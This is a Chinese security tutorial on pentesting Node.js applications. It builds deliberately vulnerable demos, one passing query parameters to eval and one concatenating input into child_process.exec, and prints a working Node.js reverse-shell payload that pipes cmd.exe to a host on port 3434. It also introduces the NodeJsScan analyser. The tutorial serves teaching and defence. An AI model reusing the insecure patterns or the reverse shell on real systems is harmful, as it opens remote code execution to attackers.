本文来源于i春秋学院，未经允许严禁转载

0x01 介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动I/O服务端JavaScript环境，基于Google的V8引擎，V8引擎执行Javascript的速度非常快，性能非常好。Node.js使用Module模块去划分不同的功能，以简化应用的开发。Modules模块有点像C++语言中的类库。每一个Node.js的类库都包含了十分丰富的各类函数，比如http模块就包含了和http功能相关的很多函数，可以帮助开发者很容易地对比如http,tcp/udp等进行操作，还可以很容易的创建http和tcp/udp的服务器。

0x02 Node.js安装配置

这里我主要给大家演示在Windows Sever 2008 R2 x64系统上安装Node.js的方法。

官网：https://nodejs.org/en/download/ 下载软件。

下载完成后运行，然后一直Next就好了。

<ignore_js_op>

最后点击Finish。

检查环境变量：

<ignore_js_op>

我们可以看到环境变量中已经包含了

C:\Program Files\nodejs\

牛刀小试：创建第一个Node.js应用

我们使用PHP来开发web服务时，需要Apache这样的Web容器。不过对Node.js 来说，概念完全不一样了。使用 Node.js 时，我们不仅仅在实现一个应用，同时还实现了整个 HTTP 服务器。事实上，我们的 Web 应用以及对应的 Web 服务器基本上是一样的。

我们以创建一个输出hello world的Node.js应用为例子。

在Node.js中，我们以require指令来载入模块，既然我们要创建HTTP服务器，所以我们要来载入模块HTTP：

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
var http = require("http");
 
然后我们使用http模块的createServer()方法来创建服务器：
 
var http = require('http');  
http.createServer(function (request, response) {
    // 发送 HTTP 头部
    // HTTP 状态值: 200 : OK
    // 内容类型: text/plain
    response.writeHead(200, {'Content-Type': 'text/plain'});
    // 发送响应数据 "Hello World"
    response.end('Hello World\n');
}).listen(80);
 
// 终端打印如下信息
console.log('Server running at [url]http://127.0.0.1/'[/url]);

命令运行脚本：

<ignore_js_op>

然后我们在另一台机器上访问看看，注意关闭防火墙：

<ignore_js_op>

0x02 服务端代码注入

Node.js的代码注入与PHP代码注入差不多，同样是围绕着eval函数，所以，如果在你的代码中存在eval函数，而且其中的参数是可控的话，那你就危险了。代码注入漏洞的危害很大，可以直接获得一个Shell。

demo代码：

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
var http = require('http');
var url = require('url');
var util = require('util');
 
http.createServer(function (req, res) {
    res.writeHead(200, {'Content-Type': 'text/html'})
    var params = url.parse(req.url, true).query;
    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
    var a = params.a;
    var b = params.b;
    var s =a + b;
    res.write("结果：" + a + "+" + b +"=" + s);
    res.write("</body></html>");
    res.end();
}).listen(80);
 
// 终端打印如下信息
console.log('Server running at [url]http://127.0.0.1/'[/url]);

这个代码就是计算输入的两个数之和，但是两个变量的类型都是字符串，所以相加的结果是字符串连接：

<ignore_js_op>

这里就想着用eval函数转换输入的参数类型。

最终demo代码：

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
var http = require('http');
var url = require('url');
var util = require('util');
 
http.createServer(function (req, res) {
    res.writeHead(200, {'Content-Type': 'text/html'})
    var params = url.parse(req.url, true).query;
    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
    var a = eval(params.a);
    var b = eval(params.b);
    var s =a + b;
    res.write("结果：" + a + "+" + b +"=" + s);
    res.write("</body></html>");
    res.end();
}).listen(80);
 
// 终端打印如下信息
console.log('Server running at [url]http://127.0.0.1/'[/url]);

然后得到的结果就是两数之和了：

<ignore_js_op>

但是因为使用了eval函数也就导致了代码注入，我们可以构建一个反弹shell执行。

反弹shell代码：

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
function tan(){
    var net = require("net"),
        cp = require("child_process"),
        cmd = cp.spawn("cmd.exe", []);
    var client = new net.Socket();
    client.connect(3434, "192.168.146.129", function(){
        client.pipe(cmd.stdin);
        cmd.stdout.pipe(client);
        cmd.stderr.pipe(client);
    });
    return 1;
}tan();

我们先使用nc来监听本地端口3434：

<ignore_js_op>

然后在web端利用漏洞进行代码注入：

<ignore_js_op>

然后成功反弹shell：

<ignore_js_op>

0x03 系统命令执行

在Node.js中，系统命令执行漏洞一般由模块 child_process 的函数引起的，child_process即子进程可以创建一个系统子进程并执行shell命令。

demo-创建一个ping工具：

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
var http = require('http');
var url = require('url');
var util = require('util');
var child_process = require('child_process');
var iconv = require('iconv-lite');
var encoding = 'cp936';
var binaryEncoding = 'binary';
 
http.createServer(function (req, res) {
    res.writeHead(200, {'Content-Type': 'text/html'})
    var params = url.parse(req.url, true).query;
    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
    child_process.exec('ping '+params.ip, { encoding: binaryEncoding }, function(err, stdout, stderr){
    res.write(iconv.decode(new Buffer(stdout, binaryEncoding), encoding), iconv.decode(new Buffer(stderr, binaryEncoding), encoding));
});
    res.write("</body></html>");
}).listen(80);
 
// 终端打印如下信息
console.log('Server running at [url]http://127.0.0.1/'[/url]);

演示：

<ignore_js_op>

命令注入：

<ignore_js_op>

0x04 NodeJsScan

NodeJsScan是 Ajin Abraham 开发的一款静态代码分析工具。它使用了大量的正则表达式规则来扫描可能的漏洞代码和不安全的配置，同时允许用户扩展自己的功能。

项目地址：https://github.com/ajinabraham/NodeJsScan

此工具是基于python开发的，首先我们需要安装一下所需模块

pip install -r requirements.txt
所需模块都在工具主目录下的requirements.txt中：

<ignore_js_op>

注意本工具需要postgresql数据库，所以我们还需要下载安装postgresql数据库。

创建数据库：

python createdb.py

数据库设置在core/settings.py文件中

运行

python app.py

然后在http://0.0.0.0:9090打开，注意要设置DEBUG = True

<ignore_js_op>

0x05 总结

大部分的漏洞都是源于不安全的用户输入。所以，要坚持一切用户输入都是有害的法则，针对用户的一切输入进行过滤。确保使用了合适的中间件来避免不可信的流程。

0x06 参考文章

1、渗透基础一
2、渗透基础二

从零开始学习渗透Node.js应用程序的更多相关文章

  1. 方便大家学习的Node.js教程（一）：理解Node.js

    理解Node.js 为了理解Node.js是如何工作的,首先你需要理解一些使得Javascript适用于服务器端开发的关键特性.Javascript是一门简单而又灵活的语言,这种灵活性让它能够经受住时 ...

  2. 在 Web 应用中创建 Node.js 应用程序

    本分步指南将通过 Azure Web 应用帮助您启动并运行示例 Node.JS 应用程序.除 Node.JS 外,Azure Web 应用还支持其他语言,如 PHP..NET.Node.JS.Pyth ...

  3. 用简单的 Node.js 后台程序浅析 HTTP 请求与响应

    用简单的 Node.js 后台程序浅析 HTTP 请求与响应 本文写于 2020 年 1 月 18 日 我们来看两种方式发送 HTTP 请求,一种呢,是命令行的 curl 命令:一种呢是直接在浏览器的 ...

  4. 学习笔记——node.js

    node.js的作用在于,号称可以让服务器支持更多的连接.比如说,php + apche可以让服务器支持4000个并发连接,那么node.js + apche可以让服务器支持并发几万个. 为什么这么牛 ...

  5. Node.js学习（Node.js基础）

    1.开发环境搭建 v8引擎是作为解析JavaScript程序来运行的 nodejs是一个高性能的,第一个体现在他的JavaScript解析速度很快,v8引擎性能很高,第二个事件驱动和非阻塞 2.全局对 ...

  6. Node.js学习笔记——Node.js开发Web后台服务

    一.简介 Node.js 是一个基于Google Chrome V8 引擎的 JavaScript 运行环境.Node.js 使用了一个事件驱动.非阻塞式 I/O 的模型,使其轻量又高效.Node.j ...

  7. Docker学习之——Node.js+MongoDB+Nginx环境搭建（一）

    最近在学习Node.js相关知识,在环境搭建上耗费了不少功夫,故此把这个过程写下来同大家分享一下,今天我先来介绍一下Docker,有很多人都写过相关知识,还有一些教程,在此我只想写一下,我的学习过程中 ...

  8. 高效使用 JavaScript 闭包,避免 Node.js 应用程序中的内存泄漏

    在 Node.js 中,广泛采用不同形式的闭包来支持 Node 的异步和事件驱动编程模型.通过很好地理解闭包,您可以确保所开发应用程序的功能正确性.稳定性和可伸缩性. 闭包是一种将数据与处理数据的代码 ...

  9. 让我们一起学习《Node.js入门》一书吧！

    Node.js入门 读完本书之后,你将完成一个完整的web应用,该应用允许用户浏览页面以及上传文件. 里面对一些知识的讲解,让你略窥Node.js的门径.最好一段代码一段代码的写下来,我的习惯是手里拿 ...

随机推荐

  1. Mac ssh 免密码登录 Mac 或者 Linux

    最近在 Mac上操作另一台 Mac 和 Linux 服务器,每次输密码太麻烦.所以直接设置 ssh 免密码登录,省去输入密码的过程.先在本机执行 ls ~/.ssh 若不存在 id_rsa,id_rs ...

  2. RocketMQ入门(Filter)_5

    RocketMQ中存储的消息对于消费者来说,并不完全都是他们需要的,因此需要对消息进行过滤. 订阅Topic主题 ,选择Tags都是我们简单的过滤.Topic是大分类,Tags是二级分类. Rocke ...

  3. python中configpraser模块

    configparser   模块 解析配置文件模块 什么是配置文件? 用于编写程序的配置信息的文件 什么是配置信息? 为了提高程序的扩展性 #configparser模块的使用 #首先我们需要知道配 ...

  4. 面试加分项---HashMap底层实现原理

    想必大家都知道HashSet和HashMap之间的关系,HashSet是依赖于HashMap的,HashSet集合就是HashMap的key所组成的集合,我们都知道HashMap的value是可以重复 ...

  5. # 20175213 2018-2019-2 《Java程序设计》第2周学习总结

    ## 教材学习内容总结 在第二周的学习过程中,我学习了第二章和第三章的内容.第二章中,我学习了基本数据类型和类型转换运算以及与C语言有着相同和不同的数组.标识符由字母,下划线,美元符号和数字组成,并且 ...

  6. m文件转换c代码

    parametet.mclc; clear; load('src.mat') CZT_N = ; CZT_M = ; CZT_W = exp(-j*(*pi/)); CZT_A = exp(j**pi ...

  7. [leetcode]52. N-Queens II N皇后

    The n-queens puzzle is the problem of placing n queens on an n×n chessboard such that no two queens ...

  8. 回溯算法_ BackTracking

     目前还存在的疑问: 1. 所谓的该分支满足条件之后就回退到上一层节点,可是加谁呢? x[i+1]  ?? 加到 N, 不满足target sum条件就返回上一级(同时改变上一级数为 i+1...纵向 ...

  9. abp xunit Can not register IHostingEnvironment. It should be a non-abstract class. If not, it should be registered before.”

    在测试项目的ServiceCollectionRegistrar类提前注册.

  10. react 子元素修改父元素值的一个偏方，虽然简单，但是不建议用，

    this.state.obj = { name: "小明" } <Zizujian obj={this.state.obj} /> // 子组件这样修改父元素的值 // ...